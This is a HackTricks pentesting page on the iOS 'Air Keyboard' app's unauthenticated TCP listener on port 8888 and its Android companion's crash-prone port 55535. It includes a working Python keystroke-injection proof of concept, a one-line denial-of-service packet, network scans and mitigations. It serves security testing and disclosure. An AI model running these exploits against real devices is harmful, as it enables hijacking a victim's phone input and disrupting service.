hacktricks/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md

4.1 KiB
Raw Blame History

Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)

{{#include ../../banners/hacktricks-training.md}}

TL;DR

The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a clear-text TCP service on port 8888 that accepts keystroke frames without any authentication.
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victims phone, achieving full remote interaction hijacking.

A companion Android build listens on port 55535. It performs a weak AES-ECB handshake, but crafted garbage causes an unhandled exception in the OpenSSL decryption routine, crashing the background service (DoS).

1. Service Discovery

Scan the local network and look for the two fixed ports used by the apps:

# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24

# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24

On Android handsets you can identify the responsible package locally:

adb shell netstat -tulpn | grep 55535     # no root required on emulator

# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline                # map PID → package name

2. Frame Format (iOS)

The binary reveals the following parsing logic inside the handleInputFrame() routine:

[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]

The declared length includes the device_id byte but not the two-byte header itself.

3. Exploitation PoC

#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys

target_ip = sys.argv[1]                  # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n"     # payload visible to the user

frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01"                         # device_id = 1 (hard-coded)
frame += keystrokes

with socket.create_connection((target_ip, 8888)) as s:
    s.sendall(frame)
print("Injected", keystrokes)

Any printable ASCII (including \n, \r, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.

4. Android Companion Denial-of-Service

The Android port (55535) expects a 4-character password encrypted with a hard-coded AES-128-ECB key followed by a random nonce. Parsing errors bubble up to AES_decrypt() and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.

import socket
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS

5. Root Cause

  1. No origin / integrity checks on incoming frames (iOS).
  2. Cryptographic misuse (static key, ECB, missing length validation) and lack of exception handling (Android).

6. Mitigations & Hardening Ideas

  • Never expose unauthenticated services on a mobile handset.
  • Derive per-device secrets during onboarding and verify them before processing input.
  • Bind the listener to 127.0.0.1 and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.
  • Detect unexpected open ports during mobile security reviews (netstat, lsof, frida-trace on socket() etc.).
  • As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.

Detection Cheat-Sheet (Pentesters)

# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'

# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"

References

{{#include ../../banners/hacktricks-training.md}}